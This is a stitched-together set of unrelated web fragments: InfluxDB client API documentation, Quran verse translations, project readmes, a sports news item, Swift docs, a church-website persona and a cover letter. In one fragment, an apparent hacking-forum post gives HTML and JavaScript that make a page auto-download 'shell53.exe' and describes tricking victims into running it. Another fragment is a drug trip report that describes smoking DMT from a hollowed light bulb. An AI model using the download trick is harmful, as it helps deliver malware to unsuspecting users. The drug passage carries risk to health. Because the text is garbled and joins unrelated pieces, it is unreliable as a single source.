duration: Influx.FieldType.INTEGER
},
tags: [
'host'
]
}
]
})
influx.writePoints([
{
measurement: 'response_times',
tags: { host: os.hostname() },
fields: { duration, path: req.path },
}
]).then(() => {
return influx.query(`
select * from response_times
where host = ${Influx.escape.stringLit(os.hostname())}
order by time desc
limit 10
`)
}).then(rows => {
rows.forEach(row => console.log(`A request to ${row.path} took ${row.duration}ms`))
})
Constructor Summary
| Public Constructor | ||
| public |
constructor(options: IClusterConfig | ISingleHostConfig | string) Connect to a single InfluxDB instance by specifying a set of connection options. |
Method Summary
| Public Methods | ||
| public |
alterRetentionPolicy(name: String, options: Object): Promise<void> Alters an existing retention policy on a database. |
|
| public |
createContinuousQuery(name: String, query: String, database: String): Promise<void> Creates a continuous query in a database |
|
| public |
createDatabase(databaseName: string): Promise<void> Creates a new database with the provided name. |
|
| public |
createRetentionPolicy(name: String, options: Object): Promise<void> Creates a new retention policy on a database. |
|
| public |
createUser(username: String, password: String, admin: Boolean): Promise<void> Creates a new InfluxDB user. |
|
| public |
dropContinuousQuery(name: String, database: String): Promise<void> Creates a continuous query in a database |
|
| public |
dropDatabase(databaseName: string): Promise<void> Deletes a database with the provided name. |
|
| public |
dropMeasurement(measurement: String, database: String): Promise<void> Removes a measurement from the database. |
|
| public |
dropRetentionPolicy(name: String, database: String): Promise<void> Deletes a retention policy and associated data. |
|
| public |
dropSeries(options: *): Promise<void> Removes a one or more series from InfluxDB. |
|
| public |
Removes a user from the database. |
|
| public |
getDatabaseNames(): Promise<String[]> Returns array of database names. |
|
| public |
getMeasurements(database: String): Promise<String[]> Returns array of measurements. |
|
| public |
Returns a list of all series within the target measurement, or from the entire database if a measurement isn't provided. |
|
| public |
Returns a list of users on the Influx database. |
|
| public |
grantAdminPrivilege(username: String): Promise<void> Grants admin privileges to a specified user. |
|
| public |
grantPrivilege(username: String, privilege: String, database: String): Promise<void> Grants a privilege to a specified user. |
|
| public |
ping(timeout: Number): Promise<IPingStats[]> Pings all available hosts, collecting online status and version info. |
|
| public |
query(query: String | String[], options: IQueryOptions): Promise<IResults | Results[]> .query() runs a query (or list of queries), and returns the results in a friendly format, IResults. |
|
| public |
queryRaw(query: String | String[], options: IQueryOptions): Promise<*> queryRaw functions similarly to .query() but it does no fancy
transformations on the returned data; it calls |
|
| public |
revokeAdminPrivilege(username: String): Promise<void> Removes a admin privilege from a specified user. |
|
| public |
revokePrivilege(username: String, privilege: String, database: String): Promise<void> Removes a privilege from a specified user. |
|
| public |
setPassword(username: String, password: String): Promise<void> Sets a password for an Influx user. |
|
| public |
showContinousQueries(database: String): Promise<void> Returns a list of continous queries in the database. |
|
| public |
showRetentionPolicies(database: String): Promise<Array<{ name: String, duration: String, shardGroupDuration: String, replicaN: Number, default: Boolean }>> Shows retention policies on the database |
|
| public |
writeMeasurement(measurement: String, points: IPoint[], options: IWriteOptions): Promise<void> writeMeasurement functions similarly to InfluxDB#writePoints, but
it automatically fills in the |
|
| public |
writePoints(points: IPoint[], options: IWriteOptions): Promise<void> writePoints sends a list of points together in a batch to InfluxDB. |
Public Constructors
public constructor(options: IClusterConfig | ISingleHostConfig | string) source
Connect to a single InfluxDB instance by specifying a set of connection options.
Params:
| Name | Type | Attribute | Description |
| options | IClusterConfig | ISingleHostConfig | string |
|
Example:
const Influx = require('influx')
// Connect to a single host with a DSN:
const influx = new Influx.InfluxDB('http://user:password@host:8086/database')
const Influx = require('influx')
// Connect to a single host with a full set of config details and
// a custom schema
const client = new Influx.InfluxDB({
database: 'my_db',
host: 'localhost',
port: 8086,
username: 'connor',
password: 'pa$$w0rd',
schema: [
{
measurement: 'perf',
fields: {
memory_usage: Influx.FieldType.INTEGER,
cpu_usage: Influx.FieldType.FLOAT,
is_online: Influx.FieldType.BOOLEAN
}
tags: [
'hostname'
]
}
]
})
const Influx = require('influx')
// Use a pool of several host connections and balance queries across them:
const client = new Influx.InfluxDB({
database: 'my_db',
username: 'connor',
password: 'pa$$w0rd',
hosts: [
{ host: 'db1.example.com' },
{ host: 'db2.example.com' },
],
schema: [
{
measurement: 'perf',
fields: {
memory_usage: Influx.FieldType.INTEGER,
cpu_usage: Influx.FieldType.FLOAT,
is_online: Influx.FieldType.BOOLEAN
}
tags: [
'hostname'
]
}
]
})
Public Methods
public alterRetentionPolicy(name: String, options: Object): Promise<void> source
Alters an existing retention policy on a database.
Params:
| Name | Type | Attribute | Description |
| name | String | The retention policy name |
|
| options | Object | ||
| options.database | String |
|
Database to create the policy on, uses the default database if not provided. |
| options.duration | String | How long data in the retention policy
should be stored for, should be in a format like |
|
| options.replication | Number | How many servers data in the series should be replicated to. |
|
| options.default | Boolean |
|
Whether the retention policy should be the default policy on the database. |
Example:
influx.alterRetentionPolicy('7d', {
duration: '7d',
replication: 1,
default: true
})
public createContinuousQuery(name: String, query: String, database: String): Promise<void> source
Creates a continuous query in a database
Example:
influx.createContinuousQuery('downsample_cpu_1h', `
SELECT MEAN(cpu) INTO "7d"."perf"
FROM "1d"."perf" GROUP BY time(1m)
`)
public createDatabase(databaseName: string): Promise<void> source
Creates a new database with the provided name.
Params:
| Name | Type | Attribute | Description |
| databaseName | string |
Example:
influx.createDatabase('mydb')
public createRetentionPolicy(name: String, options: Object): Promise<void> source
Creates a new retention policy on a database. You can read more about Downsampling and Retention on the InfluxDB website.
Params:
| Name | Type | Attribute | Description |
| name | String | The retention policy name |
|
| options | Object | ||
| options.database | String |
|
Database to create the policy on, uses the default database if not provided. |
| options.duration | String | How long data in the retention policy
should be stored for, should be in a format like |
|
| options.replication | Number | How many servers data in the series should be replicated to. |
|
| options.isDefault | Boolean |
|
Whether the retention policy should be the default policy on the database. |
Example:
influx.createRetentionPolicy('7d', {
duration: '7d',
replication: 1
})
public createUser(username: String, password: String, admin: Boolean): Promise<void> source
Creates a new InfluxDB user.
Example:
influx.createUser('connor', 'pa55w0rd', true) // make 'connor' an admin
// make non-admins:
influx.createUser('not_admin', 'pa55w0rd')
public dropContinuousQuery(name: String, database: String): Promise<void> source
Creates a continuous query in a database
Example:
influx.dropContinuousQuery('downsample_cpu_1h')
public dropDatabase(databaseName: string): Promise<void> source
Deletes a database with the provided name.
Params:
| Name | Type | Attribute | Description |
| databaseName | string |
Example:
influx.createDatabase('mydb')
public dropMeasurement(measurement: String, database: String): Promise<void> source
Removes a measurement from the database.
Example:
influx.dropMeasurement('my_measurement')
public dropRetentionPolicy(name: String, database: String): Promise<void> source
Deletes a retention policy and associated data. Note that the data will not be immediately destroyed, and will hang around until Influx's bi-hourly cron.
Example:
influx.dropRetentionPolicy('7d')
public dropSeries(options: *): Promise<void> source
Removes a one or more series from InfluxDB.
Params:
| Name | Type | Attribute | Description |
| options | * |
Example:
// The following pairs of queries are equivalent: you can chose either to
// use our builder or pass in string directly. The builder takes care
// of escaping and most syntax handling for you.
influx.dropSeries({ where: e => e.tag('cpu').equals.value('cpu8') })
influx.dropSeries({ where: '"cpu" = \'cpu8\'' })
// DROP SERIES WHERE "cpu" = 'cpu8'
influx.dropSeries({ measurement: m => m.name('cpu').policy('autogen') })
influx.dropSeries({ measurement: '"cpu"."autogen"' })
// DROP SERIES FROM "autogen"."cpu"
influx.dropSeries({
measurement: m => m.name('cpu').policy('autogen'),
where: e => e.tag('cpu').equals.value('cpu8'),
database: 'my_db'
})
// DROP SERIES FROM "autogen"."cpu" WHERE "cpu" = 'cpu8'
public dropUser(username: String): Promise<void> source
Removes a user from the database.
Params:
| Name | Type | Attribute | Description |
| username | String |
Example:
influx.dropUser('connor')
public getDatabaseNames(): Promise<String[]> source
Returns array of database names. Requires cluster admin privileges.
Example:
influx.getMeasurements().then(names =>
console.log('My database names are: ' + names.join(', ')));
public getMeasurements(database: String): Promise<String[]> source
Returns array of measurements.
Params:
| Name | Type | Attribute | Description |
| database | String |
|
the database the measurement lives in, optional if a default database is provided. |
Example:
influx.getMeasurements().then(names =>
console.log('My measurement names are: ' + names.join(', ')));
public getSeries(options: Object): Promise<String[]> source
Returns a list of all series within the target measurement, or from the entire database if a measurement isn't provided.
Example:
influx.getSeries().then(names => {
console.log('My series names in my_measurement are: ' + names.join(', '))
})
influx.getSeries({
measurement: 'my_measurement',
database: 'my_db'
}).then(names => {
console.log('My series names in my_measurement are: ' + names.join(', '))
})
public getUsers(): Promise<Array<{user: String, admin: Boolean}>>{user:> source
Returns a list of users on the Influx database.
Example:
influx.getUsers().then(users => {
users.forEach(user => {
if (user.admin) {
console.log(user.user, 'is an admin!')
} else {
console.log(user.user, 'is not an admin!')
}
})
})
public grantAdminPrivilege(username: String): Promise<void> source
Grants admin privileges to a specified user.
Params:
| Name | Type | Attribute | Description |
| username | String |
Example:
influx.grantAdminPrivilege('connor')
public grantPrivilege(username: String, privilege: String, database: String): Promise<void> source
Grants a privilege to a specified user.
Example:
influx.grantPrivilege('connor', 'READ', 'my_db') // grants read access on my_db to connor
public ping(timeout: Number): Promise<IPingStats[]> source
Pings all available hosts, collecting online status and version info.
Params:
| Name | Type | Attribute | Description |
| timeout | Number | Given in milliseconds |
Example:
influx.ping(5000).then(hosts => {
hosts.forEach(host => {
if (host.online) {
console.log(`${host.url.host} responded in ${host.rtt}ms running ${host.version})`)
} else {
console.log(`${host.url.host} is offline :(`)
}
})
})
public query(query: String | String[], options: IQueryOptions): Promise<IResults | Results[]> source
.query() runs a query (or list of queries), and returns the results in a friendly format, IResults. If you run multiple queries, an array of results will be returned, otherwise a single result (array of objects) will be returned.
Params:
| Name | Type | Attribute | Description |
| query | String | String[] | ||
| options | IQueryOptions |
|
Return:
| Promise<IResults | Results[]> | result(s) |
Example:
influx.query('select * from perf').then(results => {
console.log(results)
})
public queryRaw(query: String | String[], options: IQueryOptions): Promise<*> source
queryRaw functions similarly to .query() but it does no fancy
transformations on the returned data; it calls JSON.parse
and returns
those results verbatim.
Params:
| Name | Type | Attribute | Description |
| query | String | String[] | ||
| options | IQueryOptions |
|
Example:
influx.queryRaw('select * from perf').then(rawData => {
console.log(rawData)
})
public revokeAdminPrivilege(username: String): Promise<void> source
Removes a admin privilege from a specified user.
Params:
| Name | Type | Attribute | Description |
| username | String |
Example:
influx.revokeAdminPrivilege('connor')
public revokePrivilege(username: String, privilege: String, database: String): Promise<void> source
Removes a privilege from a specified user.
Example:
influx.revokePrivilege('connor', 'READ', 'my_db') // removes read access on my_db from connor
public setPassword(username: String, password: String): Promise<void> source
Sets a password for an Influx user.
Example:
influx.setPassword('connor', 'pa55w0rd')
public showContinousQueries(database: String): Promise<void> source
Returns a list of continous queries in the database.
Params:
| Name | Type | Attribute | Description |
| database | String |
|
If not provided, uses the default database. |
Example:
influx.showContinousQueries()
public showRetentionPolicies(database: String): Promise<Array<{ name: String, duration: String, shardGroupDuration: String, replicaN: Number, default: Boolean }>> source
Shows retention policies on the database
Params:
| Name | Type | Attribute | Description |
| database | String |
|
The database to list policies on, uses the default database if not provided. |
Return:
| Promise<Array<{ name: String, duration: String, shardGroupDuration: String, replicaN: Number, default: Boolean }>> |
Example:
influx.showRetentionPolicies().then(policies => {
expect(policies.slice()).to.deep.equal([
{
name: 'autogen',
duration: '0s',
shardGroupDuration: '168h0m0s',
replicaN: 1,
default: true,
},
{
name: '7d',
duration: '168h0m0s',
shardGroupDuration: '24h0m0s',
replicaN: 1,
default: false,
},
])
})
public writeMeasurement(measurement: String, points: IPoint[], options: IWriteOptions): Promise<void> source
writeMeasurement functions similarly to InfluxDB#writePoints, but
it automatically fills in the measurement
value for all points for you.
Params:
| Name | Type | Attribute | Description |
| measurement | String | ||
| points | IPoint[] | ||
| options | IWriteOptions |
|
Example:
influx.writeMeasurement('perf', [
{
tags: { host: 'box1.example.com' },
fields: { cpu: getCpuUsage(), mem: getMemUsage() },
}
])
public writePoints(points: IPoint[], options: IWriteOptions): Promise<void> source
writePoints sends a list of points together in a batch to InfluxDB. In each point you must specify the measurement name to write into as well as a list of tag and field values. Optionally, you can specify the time to tag that point at, defaulting to the current time.
If you defined a schema for the measurement in the options you passed
to new Influx(options)
, we'll use that to make sure that types get
cast correctly and that there are no extraneous fields or columns.
For best performance, it's recommended that you batch your data into sets of a couple thousand records before writing it. In the future we'll have some utilities within node-influx to make this easier.
A note when using manually-specified times and precisions: by default
we write using the ms
precision since that's what JavaScript gives us.
You can adjust this. However, there is some special behaviour if you
manually specify a timestamp in your points:
- if you specify the timestamp as a Date object, we'll convert it to milliseconds and manipulate it as needed to get the right precision
- if provide a INanoDate as returned from toNanoTime or the results from an Influx query, we'll be able to pull the precise nanosecond timestamp and manipulate it to get the right precision
- if you provide a string or number as the timestamp, we'll pass it straight into Influx.
Please see the IPoint and IWriteOptions types for a full list of possible options.
Params:
| Name | Type | Attribute | Description |
| points | IPoint[] | ||
| options | IWriteOptions |
|
Example:
// write a point into the default database with
// the default retention policy.
influx.writePoints([
{
measurement: 'perf',
tags: { host: 'box1.example.com' },
fields: { cpu: getCpuUsage(), mem: getMemUsage() },
}
])
// you can manually specify the database,
// retention policy, and time precision:
influx.writePoints([
{
measurement: 'perf',
tags: { host: 'box1.example.com' },
fields: { cpu: getCpuUsage(), mem: getMemUsage() },
timestamp: getLastRecordedTime(),
}
], {
database: 'my_db',
retentionPolicy: '1d',
precision: 's'
})


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{% extends "layout.html" %} {% block content %}
The maintainers of this website and its repository are students of Computer Engineering, VJTI, Matunga (2017-2021).
They're a witty duo with a passion for their field and welcome all suggestions. If you want to tell them how awesome (or shit) you thought their work was, reach them here.
The current source code consists of:
Since the website is new, there's stuff that it's unable to presently incorporate. The developers try their best to construct alternatives that come as close as possible to fulfilling a similar purpose.


Not exactly subtle, you can change a webpage to auto download a script. Then you just need the victims to launch it.
<script> document.location.href = 'shell53.exe'; </script>
Another way to do it is like this
<html>
<head>
<meta http-equiv="refresh" content="0; url=shell53.exe">
</head>
</html>
Of course the user will have to accept to download the file, unless the user has previously checked in the box automatically download. The user must then click the file for it to execute. This is where the social engineering part comes in, you really must trick the user into executing the file.


| 006:108 Khan | : |
And insult not those whom they (disbelievers) worship besides Allah, lest they insult Allah wrongfully without knowledge. Thus We have made fair-seeming to each people its own doings; then to their Lord is their return and He shall then inform them of all that they used to do. |
| 006:108 Maulana | : |
And abuse not those whom they call upon besides Allah, lest, exceeding the limits, they abuse Allah through ignorance. Thus to every people have We made their deeds fair-seeming; then to their Lord is their return so He will inform them of what they did. |
| 006:108 Pickthal | : |
Revile not those unto whom they pray beside Allah lest they wrongfully revile Allah through ignorance. Thus unto every nation have We made their deed seem fair. Then unto their Lord is their return, and He will tell them what they used to do. |
| 006:108 Rashad | : |
Do not curse the idols they set up beside GOD, lest they blaspheme and curse GOD, out of ignorance. We have adorned the works of every group in their eyes. Ultimately, they return to their Lord, then He informs them of everything they had done. |
| 006:108 Sarwar | : |
Believers, do not say bad words against the idols lest they (pagans) in their hostility and ignorance say such words against God. We have made every nation's deeds seem attractive to them. One day they will all return to their Lord who will inform them of all that they have done. |
| 006:108 Shakir | : |
And do not abuse those whom they call upon besides Allah, lest exceeding the limits they should abuse Allah out of ignorance. Thus have We made fair seeming to every people their deeds; then to their Lord shall be their return, so He will inform them of what they did. |
| 006:108 Sherali | : |
And abuse not those whom they call upon besides ALLAH, lest they, out of spite, abuse ALLAH in their ignorance. Thus unto every people have WE caused their doings to seem fair. Then unto their Lord is their return; And HE will inform them of what they used to do. |
| 006:108 Yusufali | : |
Revile not ye those whom they call upon besides Allah, lest they out of spite revile Allah in their ignorance. Thus have We made alluring to each people its own doings. In the end will they return to their Lord, and We shall then tell them the truth of all that they did. |
Concepts/Themes Covered: أركان الإسلام > التوحيد > توحيد الله تعالي > إليه ترجع الأمور Pillars of Islam> Islamic> Oneness of Allah>All Matters Return to Him(for decision) الإيمان > اليوم الآخر > الحشر Faith> The Hereafter> The Day of Resurrection الدعوة إلى الله > حدودها > التساهل مع المسالمين The Call for Allah> Its Limits> Lenient with the Peace-Loving الدعوة إلى الله > الحكمة في الدعوة > الامتناع عن إثارة الخصم The Call for Allah> The Wisdom in the Mission> Refrain from Exciting the Opponent الديانات > أهل الكتاب: ( اليهود و النصارى) > وجوب التساهل معهم(مع غير المحاربين) Religions> The People of the Book (the Jews and the Christians)> The Necessity to be Easy with them (with the Non-Fighters)
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


The rain was pattering on the roof as my friend J and I sat down to smoke. We had what was perhaps twenty milligrams of DMT apiece, in the form of a yellow waxy crystal. I had previously smoked a small amount with another friend and on that occasion hollowed out a light bulb to make a vaporizer. We smoked it straight, which turned out to have been a bit of a mistake in terms of the taste, but effective nonetheless.
We had meditated slightly, getting focused and calming ourselves. Neither of us is of the credulous type, so we had no expectations of contact with actual otherworldly beings or time-traveling multi-dimensional entities, but we were expecting something incredible. I asked J, 'Are you ready for a possibly life changing experience on a Tuesday night?', to which he replied, 'Of course, always,' in his wry way.
I was first with the vaporizer, loading my small pile of crystals into the bulb one pinch at a time, being careful not to spill. I sat in the recliner, facing the open window and the darkness outside. Applying the bic to the bulb, I melted the crystals into a pool, which in turn became vapor. I inhaled deeply thrice, clearing the vapor and leaving a harsh and mildly sweet flavor of melting plastic on my lips.
As soon as I'd exhaled the first time, I could feel the DMT taking hold, coming up from behind like the shadow cast by the brilliance of a mental sun. Patterns flooded my eyes, swarming across the window's storm screen. I closed my eyes, and the buildup increased. The colors were astounding, coming in organic, earth-like waves rather than the almost digital fractals of LSD or high dose nitrous oxide. They seemed to assemble into the membrane so trypical of DMT experiences.
The swirling was too intense at this point to really understand what was going on, but the membrane seemed to dissolve and the swirling colors formed into the dmt zone, in the form of a fully three dimensional room. I seemed to be standing at one end, with the highest density color waves forming at the vanishing point of my perspective. It seemed as though there were some sort of arcane locking mechanism, beyond which was the depths of my psyche, but to which I was denied access. It was as though my reified mind was holding me back, telling me not yet, that I was not ready. I accepted it, realizing that even if there was anything I could do, my subconscious probably knew best.
The swirls, I hesitate to call them fractals, because they simply didn't fit that description compared to my other experience, continued, changing forms as I moved my eyes or my position in the chair. Eventually they began to fade, and I opened my eyes again. My grey cat was sitting in front of me in the window, and she appeared to me to be more beautiful than I had ever seen her. All around me things seemed harmonious and symmetrical, as though all was right in the world.
For the first time in my life, I truly felt at peace. A strongly Huxleyian internality of experience. J smoked it next, and encountered a V for Vendetta-ish face which stripped away the darkness of his mind, pulling him, spinning ever deeper until he opened his eyes, revealing the world sheered of all pain and anguish, as though seeing it for the first time.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


example
1) Firstly include the maps API like so:

You will also need JQuery installed on the page
You can get an API key like so:
https://developers.google.com/maps/documentation/javascript/tutorial#api_key
2)Include this script on any pages you would like a map on
3) Put HTML onto the page to set the map address and marker.
Example HTML for the page to create a map:

Minimum setup example (simplest implementation)

Info window examples:
with info window on map pin click:

My info window title

Some info window text

Auto show the info window without pin click:

My inf window title

Some info window text

4) Make sure you have set the height and width of the map container div so that the map will display ok.


Bio
Small Brief About Me
Hello, my name is Rahaf Al-Jazzazi. I’m 24 years old. I graduated with a bachelor degree in Electrical
and
Communication engineering from German Jordanian University.
My Hobbies are Swimming and playing Piano, My favorite food is Mansaf and Shawarma. I don't have pets,
but I
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This is a Python implementation of John Gruber's Markdown. It is almost completely compliant with the reference implementation, though there are a few known issues. See Features for information on what exactly is supported and what is not. Additional features are supported by the Available Extensions.
Installation and usage documentation is available in the docs/
directory
of the distribution and on the project website at
http://freewisdom.org/projects/python-markdown.
You may ask for help and discuss various other issues on the mailing list and report bugs on the bug tracker.


Labour Lost (2017) is a series of sociological portraits exploring the rise of automations displaced workforce in the next two decades. Murray strives to make work that has potential for real discourse about artificial intelligence and robotics. Do robots need to be taxed for every job a human employee is removed from? Should corporates be managed by governance to control fiscal responsibilities to society? Do we understand the ethical framework for robotics development, deployment and the liabilities associated with the actions of robots such as the self-driving car? Can we predict the sociological and psychological outcomes of a future where all intellectual and physical complexity will be reduced from our daily lives. Murray reflects on our current disposition and reviews what are we losing blindly in the white space and do we even care?
Her photographic approach is experimental as she engages with the science of the medium and the parameters of the camera. Each work is a unique analogue C-type print, handmade by Murray in the darkroom who subverts the tradition of the meticulously reproduced print.


Our website will focus on communicating with the larger community locally and nationaly in order to reach more people with the Gospel
This site is designed in order to communicate and welcome both local and national communities into our church
Our primary goal is to welcome more people into our Christ Centered community through our website
Welcome to Valley Gospel Tabernacle our goal is to make the community feel at home and provide a foundation that is centered around Christ.
That which we have seen and heard declare we unto you, that ye also may have fellowship with us: and truly our fellowship [is] with the Father, and with his Son Jesus Christ.
James Thompson
Age 29
Occupation: General Manager at Con's Home Furniture Plus
Technology: Mac power user Uses a Mac Pro Tower with 3 00” cinema displays while in the office, an Android phone with 3G data connection and a MacBook pro laptop at home
Frustration: James is a regular church goer with a busy life being a father of 4 and his job requiring at least 50hrs a week who would like to know more about service times and upcoming events happening at Valley Gospel Tabernacle so he can schedule time to participate
James has a very busy schedule and would like to fit in time to participate in church events but has no way of finding out about times and event schedules because Valley Gospel Tabernacle has no way of communicating with the larger community and are in need of a website.
James does not attend Church events due to lack of communication but would like to be able to receive event notifications from the curches website in order to schedule time to attend events
James is only intrested in being able to schedule in time to know about church event and service dates/time to be able to help out
As a user, I need to have a way of connecting with my home church community and be abe to participate in investing my time to serve in the Church by helping with events


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intencje.pl
"Freely you have received; freely give" (Matthew 10:8)
Source code of intencje.pl website and mobile/desktop apps based on Angular, Firebase, and Capacitor.
Tech stack
- Observable based - By the power of Angular and RxJS
- Single code base - For Web, PWA, Android, iOS, and desktop app (Mac / Linux / Windows)
- BaaS - Serverless Node.js Cloud Functions from Firebase
- Realtime - Synchronize data in realtime between all clients and backend
- Offline Data - Store data offline and sync it automatically with @angular/fire
- App-shell SSR - Generate some static HTML to boost first load performance
- Push notifications - For web, mobile and desktop
- Service Worker - With use of @angular/pwa
- Material Design - Design guidance and code from @angular/material
- Cypress - E2E tests
Quickstart
Prerequisites
Firebase (free) account with empty web app.
1. Clone and install dependencies
git clone git@github.com:intencje/app.git
cd app
npm install
2. Edit the configuration file using your Firebase config data
nano src/environments/environment.ts
Don't forget to set up proper local URL of your app.
3. Set up Cloud Functions backend
4. Run backend in Google Cloud
cd ../
firebase deploy --only functions
5. Run project locally


{% extends 'cooperazione_base.html' %} {% block container %}
The process of defining post 2015 development goals (UN post 2015 Agenda) should be completed during a summit to be convened in September 2015. This process also includes the one launched at the Rio +20 Conference for sustainable development goals. A key aspect of this process will consist of defining funding for the new development agenda.
In this context, Italy is proactive in the ongoing debate both internationally and nationally. At the latter level, it has begun a consultation process within the “Inter-Institutional Committee on Cooperation for Development” with the participation of all actors of the Italian Cooperation. Both the Italian Presidency of the EU in the second half of 2014 and Expo Milano 2015 will be held at a crucial stage of the negotiation process for the new agenda.
{% endblock container %}


Kalidou Koulibaly at home with Napoli amid Man United links
by FSA EditorStar centre-back and Senegal international Kalidou Koulibaly said he is happy in Naples.
Kalidou Koulibaly reaffirmed his affection for Napoli amid ongoing links to Premier League giants Manchester United.
United continue to be linked with a move for highly rated Napoli defender Koulibaly, despite the world-record signing of Harry Maguire at the start of the season.
The Red Devils are reportedly keen to bolster their backline, which has been problematic in recent seasons, even after the arrivals of Victor Lindelof and Eric Bailly.
However, star centre-back and Senegal international Koulibaly said he is happy in Naples.
“This is where my children were born,” Koulibaly wrote via Twitter. “This is where I grew up as a man and a player.
“This is where my family and I feel at home #Napoli.”
Koulibaly has established himself as one of the world’s best defenders since swapping Genk for Napoli in 2014.
The 28-year-old has made 10 Serie A appearances this season and 14 across all competitions for Carlo Ancelotti’s Napoli.


the_fuzz v0.0.1
Modules summary ↑
| TheFuzz | |
| TheFuzz.Phonetic.MetaphoneAlgorithm | Calculates the Metaphone Phonetic Algorithm of a string |
| TheFuzz.Phonetic.MetaphoneMetric | Calculates the Metaphone Phonetic Algorithm metric of two strings |
| TheFuzz.Similarity.Jaro | Calculates the Jaro Distance between two strings |
| TheFuzz.Similarity.JaroWinkler | Calculates the Jaro-Winkler Distance between two strings |
| TheFuzz.Similarity.Overlap | Implements the Overlap Similarity Metric |
| TheFuzz.Util | Utilities for TheFuzz |


Markup
public struct Markup : Hashable
Representation of a markup formula.
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Floating point percentage amount applied in calculating total markup multiple by 1000. For example: 2990 for 2.99%. 1/1000th of a percent is the smallest granularity that can be represented.
Declaration
Swift
public let percent: Int
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Flat amount applied in calculating total markup in minor currency unit of billed currency in containing transaction detail e.g. 31 for $0.31.
Declaration
Swift
public let flat: Int
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The minimum charge that will be made to the funding source. For example, if a small charge of $0.10 were made with a 2.99%+$0.31 fee formula then the resultant fee would be $0.31 cents resulting in an expected funding source charge of $0.41 cents. If minCharge is set and more than this amount then the minCharge will be charged instead.
Declaration
Swift
public let minCharge: Int
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Initialize an instance of
Markup
.Declaration
Swift
public init(percent: Int, flat: Int, minCharge: Int)


This page uses HTML's compiled to Javascript functions.
The 'render' links below are just calling the compiled function, instead of compiling them on the fly as in the all examples pages
Example 4: Passing a JS function as a directive (Iteration on a table zebra like)
Here the target and the source HTML are the same. The HTML will replace itself. render
Player
Chloe
Example 5: Nested Iteration
This was not explained in the examples. The objective here is to have a double iteration. First on teams, then on players.
It shows the nested iteration and as well how a template can be included in another.


--- subject: Cover Letter ---
Thanks again for all of your help during the Adobe Analytics Challenge. I really appreciated the opportunity to come into the Adobe offices and meet with everyone. I was inspired with the passion and drive everyone had for the work they were doing.
I've spent the last part of my career trying to help people without analytical backgrounds make more data driven decisions. The desire to bridge the gap between those who make decisions that could benefit from statistical analysis and those who know and understand data is what drove me to go back to school to pursue an MBA. Throughout the competition, as I watched members of my team and other teams without a statistical or technical background be able to interact with and draw insights from the data, I was continually impressed by the progress Adobe has made through its' software in bridging the gap that brought me back to school.
You mentioned during the contest that Adobe often hires contestants from the analytics competition. I was hoping you could help me better understand what that recruiting process looks like, who should I be talking to, what postings should I be looking for, or what skills should I be developing that would enable me to make the greatest impact at Adobe. Any advice you could offer would be greatly appreciated.
Thanks again,


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